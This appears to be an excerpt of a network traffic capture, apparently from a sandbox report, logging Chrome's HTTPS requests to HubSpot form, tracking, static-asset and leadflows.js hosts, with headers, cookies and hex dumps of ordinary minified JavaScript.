Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49844	104.18.80.204	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	1082	OUT	GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; _cfuvid=OB37ca0o2YUw00nMxadVqKK.UnwtozV2RkjzMpZSOdI-1736507073304-0.0.1.1-604800000; __hstc=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1; hubspotutk=fad5ff301ef354e7e3eb2237294e1ed7; __hssrc=1; __hssc=251652889.1.1736507074858
2025-01-10 11:04:35 UTC	904	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 5 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: e6716009-c59a-4c8f-84df-0bcb2356ec81 x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-kf895 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: e6716009-c59a-4c8f-84df-0bcb2356ec81 CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ffc2fe7da5dc33f-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 11:04:35 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49873	104.16.118.116	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	989	OUT	GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48528028&ccu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&pu=https%3A%2F%2Fshare.hsforms.com%2F1iP-GWQvvT0CvU3TDKoL6Swsw4gs&t=Form&cts=1736507074865&vi=fad5ff301ef354e7e3eb2237294e1ed7&nc=true&u=251652889.fad5ff301ef354e7e3eb2237294e1ed7.1736507074858.1736507074858.1736507074858.1&b=251652889.1.1736507074858&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:35 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8ffc2fe83ec58c47-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 7 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-mmrgr x-evy-trace-virtual-host: all x-hubspot-correlation-id: 43608a77-ec08-4228-9875-907390435822 x-request-id: 43608a77-ec08-4228-9875-907390435822 x-robots-tag: none Set-Cookie: __cf_bm=y7v5tlcteE91C7jGUYr2vGlDJ.u1tOvi0CXPTTF9N6I-1736507075-1.0.1.1-7..Q0ZSFebTGLJpsL9ixj7a5Oh8DyqpD6RcCvuDalD3guxScz6JpOhNDeu6Obdv_OZMHDqsh8QGlp_1WH4yJPg; path=/; expires=Fri, 10-Jan-25 11:34:35 GMT; domain=.hubspot.com; HttpOnly; Secure; SameSite=None
2025-01-10 11:04:35 UTC	515	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 77 73 6d 6a 53 67 46 6b 44 68 69 39 32 55 62 67 57 25 32 46 62 4b 51 6b 34 78 4f 43 32 50 69 6b 71 71 67 44 6a 4a 32 32 30 41 46 75 4f 67 6e 39 44 78 62 4e 25 32 46 63 6d 30 68 38 65 25 32 42 5a 25 32 46 56 71 4e 41 4c 73 59 79 36 42 46 62 74 71 4c 48 43 4f 70 48 37 4d 55 53 37 44 49 5a 4b 50 44 77 56 4e 48 59 4b 41 25 32 42 73 72 76 55 34 32 69 6b 32 41 63 6e 66 67 6a 72 67 68 6a 4c 38 66 51 57 79 78 34 25 32 42 65 6b 4e 25 32 42 43 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wsmjSgFkDhi92UbgW%2FbKQk4xOC2PikqqgDjJ220AFuOgn9DxbN%2Fcm0h8e%2BZ%2FVqNALsYy6BFbtqLHCOpH7MUS7DIZKPDwVNHYKA%2BsrvU42ik2AcnfgjrghjL8fQWyx4%2BekN%2BC"}],"group":"cf-nel","max_age":
2025-01-10 11:04:35 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49872	104.17.174.91	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	806	OUT	GET /StyleGuideUI/static-3.415/img/sprocket/favicon-32x32.png HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=klVYd7VD0Hw6pCD5qdFtANmhuBsOAbKRDNOfR6WQ1cE-1736507074-1.0.1.1-Y5ojX9ZZfgfpXDZKrxxj7ayW6yM81OV6V3i48r_JO6_X0F7Y1lAYtL1LyxtggV6YRymcpmgKUHq9kBXeXucBZA
2025-01-10 11:04:35 UTC	1343	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: image/webp Content-Length: 450 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origFmt=png, origSize=1386 Content-Disposition: inline; filename="favicon-32x32.webp" etag: "b29cd4fae32431fd350ffa1394aa4ee6" last-modified: Wed, 08 Jan 2025 13:58:08 GMT via: 1.1 05133180bbd1649d4b8f97441bf305e8.cloudfront.net (CloudFront) x-amz-cf-id: wZ1OF3Z7vKI-MbJcseIoncKgIHC5aAgK7pbMBdk98Cgz0RRQb3Xs-w== x-amz-cf-pop: IAD12-P3 x-amz-replication-status: COMPLETED x-amz-server-side-encryption: AES256 x-amz-version-id: D0Ve9nsNHNzIgQgLVX.hBJ.SPXx6ig2J x-cache: Miss from cloudfront CF-Cache-Status: HIT Age: 40830 Expires: Sat, 10 Jan 2026 11:04:35 GMT Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kXBeIK3W1sG1gsRxogzQvsyhu4WXbYNDHFMZZO32XQNZXGgxoeUMeYZZv%2FCAW4j5evcXZSotFxgrB8LGDtGgxLvt5JXjvOVvbDSvrKn1RRUDHn9UGO7kJMQ7syTD09EXy0ol0iW%2Fg08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload vary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-Method Server: cloudflare CF-RAY: 8ffc2fe85f0e42ef-EWR
2025-01-10 11:04:35 UTC	26	IN	Data Raw: 52 49 46 46 ba 01 00 00 57 45 42 50 56 50 38 4c ae 01 00 00 2f 1f c0 07 10 16 Data Ascii: RIFFWEBPVP8L/
2025-01-10 11:04:35 UTC	424	IN	Data Raw: 88 8d 24 29 92 fc 0e ef 5f b7 74 67 c1 3c 63 3e 33 a9 ff cd 82 02 00 00 c1 66 b6 cd db b6 91 6c db 4c 7e b2 ed a7 27 db b6 6d 26 db b6 c9 c0 6d db 46 74 db db 33 77 9f 18 07 09 20 f0 ef 7e f0 88 57 2d 9d e8 ca 7d 42 80 2e 42 d4 e6 bf 8c 63 2d 81 15 6e 40 03 bd df 05 ac 7d 54 7e 38 2d 11 e2 bb ec 92 5a c0 c3 6f d5 f1 02 30 ed 95 3f 9e 0b f0 5b ab b2 c9 0a 78 06 48 49 e5 9d f9 58 08 5d 7d 37 a6 ec e5 4e e4 e7 98 86 ba f5 2e 94 c1 2f ee 0c 83 0b 47 c9 b0 3f 5f 2a f1 cf ee 83 af ff 1b 02 63 35 58 0a bd 67 8e 2e e0 04 c7 ac 63 8c f5 40 0a 74 e1 df 09 3f f0 29 1b 98 9b aa 47 cf 72 5e e5 a1 8d 67 5e 7a f2 a0 e0 14 7a cb 0c 11 0d be fd ea 12 6e cd 4f 95 97 3b 32 5b 1a 82 c4 9b fc 36 cb 3d a5 2d 0d 58 6a e5 cf a9 49 4b 9e 2a 43 a8 1b 5c e9 28 df 8a 48 c1 20 32 b3 Data Ascii: $)_tg<c>3flL~'m&mFt3w ~W-}B.Bc-n@}T~8-Zo0?[xHIX]}7N./G?_c5Xg.c@t?)Gr^g^zznO;2[6=-XjIKC\(H 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49874	104.18.140.17	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:35 UTC	354	OUT	GET /leadflows.js HTTP/1.1 Host: js.hsleadflows.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:35 UTC	1321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Thu, 12 Dec 2024 15:49:15 UTC x-amz-server-side-encryption: AES256 x-amz-version-id: PqQn.3x38ZWRmSYb9J2u1wYA9Etnh36Z etag: W/"e9829c28fae41e369bd948323746cc37" vary: accept-encoding x-cache: Hit from cloudfront via: 1.1 caafbc8a9aa04b09dd564a3ddef60622.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: zwAYqwyv1nhPi6xFT4h6AD0AbwLRd_hPkFPrFiFz3cEv8szXGcm4rg== Age: 2900 content-security-policy-report-only: frame-ancestors 'self'; report-uri https://send.hsbrowserreports.com/csp/report?resource=lead-flows-js/static-1.2121/bundle/main/lead-flows-release.js&cfRay=8ffbe916feed80e0-EWR Cache-Control: s-maxage=86400, max-age=0 x-hs-target-asset: lead-flows-js/static-1.2121/bundle/main/lead-flows-release.js x-content-type-options: nosniff access-control-allow-origin: * x-hs-cache-status: MISS x-envoy-upstream-service-time: 8 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 1e2349cd-97e0-4ec2-b06d-37b53a4fa44b x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-t5rvw x-evy-trace-listener: listener_https
2025-01-10 11:04:35 UTC	525	IN	Data Raw: 78 2d 65 76 79 2d 74 72 61 63 65 2d 72 6f 75 74 65 2d 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a 20 6c 69 73 74 65 6e 65 72 5f 68 74 74 70 73 2f 61 6c 6c 0d 0a 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 31 65 32 33 34 39 63 64 2d 39 37 65 30 2d 34 65 63 32 2d 62 30 36 64 2d 33 37 62 35 33 61 34 66 61 34 34 62 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 6c 65 61 64 2d 66 6c 6f 77 73 2d 63 6c 6f 75 64 66 6c 61 72 65 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 31 69 53 64 37 51 64 6a 4f 47 5a 77 70 79 79 67 44 4a 4b 6d 4f 59 62 54 46 2e 65 7a 54 66 45 75 37 66 76 4d Data Ascii: x-evy-trace-route-configuration: listener_https/allx-request-id: 1e2349cd-97e0-4ec2-b06d-37b53a4fa44bcache-tag: staticjsapp-lead-flows-cloudflare-web-prod,staticjsapp-prodCF-Cache-Status: HITSet-Cookie: __cf_bm=1iSd7QdjOGZwpyygDJKmOYbTF.ezTfEu7fvM
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 61 2c 74 3b 6e 75 6c 6c 3d 3d 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 26 26 28 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 3d 7b 7d 29 3b 6e 75 6c 6c 3d 3d 28 65 3d 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 29 2e 70 72 65 73 65 72 76 65 64 4c 65 61 64 69 6e 47 6c 6f 62 61 6c 73 26 26 28 65 2e 70 72 65 73 65 72 76 65 64 4c 65 61 64 69 6e 47 6c 6f 62 61 6c 73 3d 7b 7d 29 3b 6e 75 6c 6c 3d 3d 28 61 3d 77 69 6e 64 6f 77 2e 6c 65 61 64 66 6c 6f 77 73 29 2e 70 72 65 73 65 72 76 65 64 4f 74 68 65 72 47 6c 6f 62 61 6c 73 26 26 28 61 2e 70 72 65 73 65 72 76 65 64 4f 74 68 65 72 47 6c 6f 62 61 6c 73 3d 7b 7d 29 3b 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 61 5b 65 5d 3d Data Ascii: 7ffa!function(){var e,a,t;null==window.leadflows&&(window.leadflows={});null==(e=window.leadflows).preservedLeadinGlobals&&(e.preservedLeadinGlobals={});null==(a=window.leadflows).preservedOtherGlobals&&(a.preservedOtherGlobals={});t=function(e,a){a[e]=
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 65 5b 61 5d 3d 21 30 3b 72 65 74 75 72 6e 20 65 7d 29 2c 7b 7d 29 29 3b 6c 2e 70 75 73 68 28 7b 74 61 72 3a 65 2c 66 6e 3a 69 28 65 2c 6e 29 7d 29 3b 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 7c 7c 74 28 74 68 69 73 29 7d 2c 74 61 6b 65 52 65 63 6f 72 64 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 61 3d 74 68 69 73 2e 5f 77 61 74 63 68 65 64 2c 74 3d 30 3b 74 3c 61 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 61 5b 74 5d 2e 66 6e 28 65 29 3b 72 65 74 75 72 6e 20 65 7d 2c 64 69 73 63 6f 6e 6e 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 77 61 74 63 68 65 64 3d 5b 5d 3b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 29 3b 74 68 69 73 2e 5f 74 69 6d 65 6f 75 74 3d 6e 75 6c 6c 7d 7d 3b 66 Data Ascii: e[a]=!0;return e}),{}));l.push({tar:e,fn:i(e,n)});this._timeout\|\|t(this)},takeRecords:function(){for(var e=[],a=this._watched,t=0;t<a.length;t++)a[t].fn(e);return e},disconnect:function(){this._watched=[];clearTimeout(this._timeout);this._timeout=null}};f
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 65 2e 70 6f 70 28 29 3b 29 7b 66 3d 69 5b 6d 2e 69 5d 3b 75 3d 6f 5b 6d 2e 6a 5d 3b 69 66 28 6c 2e 6b 69 64 73 26 26 70 26 26 4d 61 74 68 2e 61 62 73 28 6d 2e 69 2d 6d 2e 6a 29 3e 3d 63 29 7b 61 2e 70 75 73 68 28 6e 28 7b 74 79 70 65 3a 22 63 68 69 6c 64 4c 69 73 74 22 2c 74 61 72 67 65 74 3a 74 2c 61 64 64 65 64 4e 6f 64 65 73 3a 5b 66 5d 2c 72 65 6d 6f 76 65 64 4e 6f 64 65 73 3a 5b 66 5d 2c 6e 65 78 74 53 69 62 6c 69 6e 67 3a 66 2e 6e 65 78 74 53 69 62 6c 69 6e 67 2c 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 3a 66 2e 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 7d 29 29 3b 70 2d 2d 7d 6c 2e 61 74 74 72 26 26 75 2e 61 74 74 72 26 26 72 28 61 2c 66 2c 75 2e 61 74 74 72 2c 6c 2e 61 66 69 6c 74 65 72 29 3b 6c 2e 63 68 61 72 44 61 74 61 26 26 33 3d 3d 3d Data Ascii: e.pop();){f=i[m.i];u=o[m.j];if(l.kids&&p&&Math.abs(m.i-m.j)>=c){a.push(n({type:"childList",target:t,addedNodes:[f],removedNodes:[f],nextSibling:f.nextSibling,previousSibling:f.previousSibling}));p--}l.attr&&u.attr&&r(a,f,u.attr,l.afilter);l.charData&&3===
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 31 3d 3d 3d 6e 2e 6e 6f 64 65 54 79 70 65 26 26 28 69 2e 61 74 74 72 3d 62 28 6e 2e 61 74 74 72 69 62 75 74 65 73 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 61 2e 61 66 69 6c 74 65 72 26 26 21 61 2e 61 66 69 6c 74 65 72 5b 74 2e 6e 61 6d 65 5d 7c 7c 28 65 5b 74 2e 6e 61 6d 65 5d 3d 64 28 6e 2c 74 29 29 3b 72 65 74 75 72 6e 20 65 7d 29 2c 7b 7d 29 29 3b 74 26 26 28 61 2e 6b 69 64 73 7c 7c 61 2e 63 68 61 72 44 61 74 61 7c 7c 61 2e 61 74 74 72 26 26 61 2e 64 65 73 63 65 6e 64 65 6e 74 73 29 26 26 28 69 2e 6b 69 64 73 3d 5f 28 6e 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 65 29 29 3b 74 3d 61 2e 64 65 73 63 65 6e 64 65 6e 74 73 7d 65 6c 73 65 20 69 2e 63 68 61 72 44 61 74 61 3d 6e 2e 6e 6f 64 65 56 61 6c 75 65 3b 72 65 74 75 72 6e 20 69 7d 28 65 29 7d 66 75 6e Data Ascii: 1===n.nodeType&&(i.attr=b(n.attributes,(function(e,t){a.afilter&&!a.afilter[t.name]\|\|(e[t.name]=d(n,t));return e}),{}));t&&(a.kids\|\|a.charData\|\|a.attr&&a.descendents)&&(i.kids=_(n.childNodes,e));t=a.descendents}else i.charData=n.nodeValue;return i}(e)}fun
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 63 65 5b 6d 5d 2e 6e 6f 64 65 54 79 70 65 3f 6c 2e 71 54 61 72 67 65 74 5b 6d 5d 3d 6c 2e 71 53 6f 75 72 63 65 5b 6d 5d 3a 6c 2e 71 53 6f 75 72 63 65 5b 6d 5d 21 3d 3d 6c 2e 71 54 61 72 67 65 74 5b 6d 5d 26 26 69 2e 70 75 73 68 28 7b 71 53 6f 75 72 63 65 3a 6c 2e 71 53 6f 75 72 63 65 5b 6d 5d 2c 71 54 61 72 67 65 74 3a 6c 2e 71 54 61 72 67 65 74 5b 6d 5d 7d 29 29 7d 7d 65 6c 73 65 20 6e 5b 75 5d 3d 61 5b 75 5d 7d 65 6c 73 65 20 73 5b 74 5d 3d 61 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 68 75 62 73 70 6f 74 26 26 68 75 62 73 70 6f 74 2e 75 70 64 61 74 65 44 65 70 65 6e 64 65 6e 63 69 65 73 26 26 68 75 62 73 70 6f 74 2e 75 70 64 61 74 65 44 65 70 65 6e 64 65 6e 63 69 65 73 28 65 29 3b 72 65 74 75 72 6e 20 73 5b 74 5d 7d 3b 68 6e 73 28 Data Ascii: ce[m].nodeType?l.qTarget[m]=l.qSource[m]:l.qSource[m]!==l.qTarget[m]&&i.push({qSource:l.qSource[m],qTarget:l.qTarget[m]}))}}else n[u]=a[u]}else s[t]=a;"undefined"!=typeof hubspot&&hubspot.updateDependencies&&hubspot.updateDependencies(e);return s[t]};hns(
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 61 79 3d 3d 21 31 26 26 28 74 3d 5b 74 5d 29 3b 72 65 74 75 72 6e 20 74 7d 3b 65 2e 6c 6f 63 61 6c 65 73 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 74 2c 6e 3d 5b 5d 2c 69 3d 5b 5d 3b 61 26 26 6e 2e 70 75 73 68 28 61 29 3b 21 61 26 26 65 2e 6c 6f 63 61 6c 65 26 26 6e 2e 70 75 73 68 28 65 2e 6c 6f 63 61 6c 65 29 3b 65 2e 66 61 6c 6c 62 61 63 6b 73 26 26 65 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 26 26 6e 2e 70 75 73 68 28 65 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 29 3b 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 3d 61 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3b 7e 69 2e 69 6e 64 65 78 4f 66 28 61 29 7c 7c 69 2e 70 75 73 68 28 61 29 3b 65 2e 66 61 6c 6c 62 61 63 6b 73 26 26 74 26 26 74 21 3d Data Ascii: ay==!1&&(t=[t]);return t};e.locales.default=function(a){var t,n=[],i=[];a&&n.push(a);!a&&e.locale&&n.push(e.locale);e.fallbacks&&e.defaultLocale&&n.push(e.defaultLocale);n.forEach((function(a){t=a.split("-")[0];~i.indexOf(a)\|\|i.push(a);e.fallbacks&&t&&t!=
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 66 28 6e 75 6c 6c 3d 3d 6e 29 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 69 73 73 69 6e 67 54 72 61 6e 73 6c 61 74 69 6f 6e 28 61 2c 74 29 3b 69 66 28 6e 75 6c 6c 3d 3d 6e 29 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 69 73 73 69 6e 67 54 72 61 6e 73 6c 61 74 69 6f 6e 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 6e 3d 74 68 69 73 2e 69 6e 74 65 72 70 6f 6c 61 74 65 28 6e 2c 74 29 3b 65 6c 73 65 20 69 66 28 66 28 6e 29 26 26 74 68 69 73 2e 69 73 53 65 74 28 74 2e 63 6f 75 6e 74 29 26 26 76 6f 69 64 20 30 3d 3d 3d 28 6e 3d 74 68 69 73 2e 70 6c 75 72 61 6c 69 7a 65 28 74 2e 63 6f 75 6e 74 2c 6e 2c 74 29 29 26 26 74 2e 6c 6f 63 61 6c 65 21 3d 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 29 72 65 74 75 72 6e 20 65 2e 74 72 Data Ascii: f(null==n)return this.missingTranslation(a,t);if(null==n)return this.missingTranslation(a);if("string"==typeof n)n=this.interpolate(n,t);else if(f(n)&&this.isSet(t.count)&&void 0===(n=this.pluralize(t.count,n,t))&&t.locale!==this.defaultLocale)return e.tr
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 28 65 3d 65 2e 72 65 70 6c 61 63 65 28 75 2e 73 69 6e 67 6c 65 51 75 6f 74 52 65 5f 2c 22 26 23 78 32 37 3b 22 29 29 3b 72 65 74 75 72 6e 20 65 7d 3b 65 2e 6d 69 73 73 69 6e 67 56 61 6c 75 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 76 61 72 20 74 3d 22 5b 6d 69 73 73 69 6e 67 20 22 2b 61 2b 22 20 76 61 6c 75 65 20 66 72 6f 6d 20 22 2b 65 2b 22 5d 22 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 49 31 38 6e 3a 20 4d 69 73 73 69 6e 67 20 74 65 6d 70 6c 61 74 65 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 76 61 6c 75 65 20 28 22 2b 74 68 69 73 2e 63 75 72 72 65 6e 74 4c 6f 63 61 6c 65 28 29 2b 22 29 3a 20 22 2b 61 2b 22 20 76 61 6c 75 65 20 66 72 6f 6d 20 22 2b 65 29 3b 72 65 74 75 72 6e 20 74 7d 3b 65 2e 70 6c 75 72 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: (e=e.replace(u.singleQuotRe_,"'"));return e};e.missingValue=function(e,a){var t="[missing "+a+" value from "+e+"]";console.warn("I18n: Missing template placeholder value ("+this.currentLocale()+"): "+a+" value from "+e);return t};e.pluralize=function
2025-01-10 11:04:35 UTC	1369	IN	Data Raw: 7d 29 2c 74 68 69 73 2e 6c 6f 6f 6b 75 70 28 22 6e 75 6d 62 65 72 2e 66 6f 72 6d 61 74 22 2c 7b 6c 6f 63 61 6c 65 3a 6e 7d 29 2c 6f 29 3b 69 66 28 69 2e 61 62 62 72 65 76 69 61 74 65 29 7b 76 61 72 20 6c 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 2e 61 62 62 72 65 76 69 61 74 65 3f 69 2e 61 62 62 72 65 76 69 61 74 65 3a 22 73 68 6f 72 74 22 2c 73 3d 65 2e 70 72 65 70 61 72 65 4f 70 74 69 6f 6e 73 28 7b 74 79 70 65 3a 6c 2c 70 72 65 63 69 73 69 6f 6e 3a 76 6f 69 64 20 30 21 3d 3d 74 2e 70 72 65 63 69 73 69 6f 6e 3f 74 2e 70 72 65 63 69 73 69 6f 6e 3a 30 7d 2c 69 29 3b 61 3d 74 68 69 73 2e 61 62 62 72 65 76 69 61 74 65 4e 75 6d 62 65 72 28 61 2c 73 29 7d 65 6c 73 65 20 61 3d 74 68 69 73 2e 74 6f 4e 75 6d 62 65 72 28 61 2c 69 29 3b 69 2e 63 75 Data Ascii: }),this.lookup("number.format",{locale:n}),o);if(i.abbreviate){var l="string"==typeof i.abbreviate?i.abbreviate:"short",s=e.prepareOptions({type:l,precision:void 0!==t.precision?t.precision:0},i);a=this.abbreviateNumber(a,s)}else a=this.toNumber(a,i);i.cu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
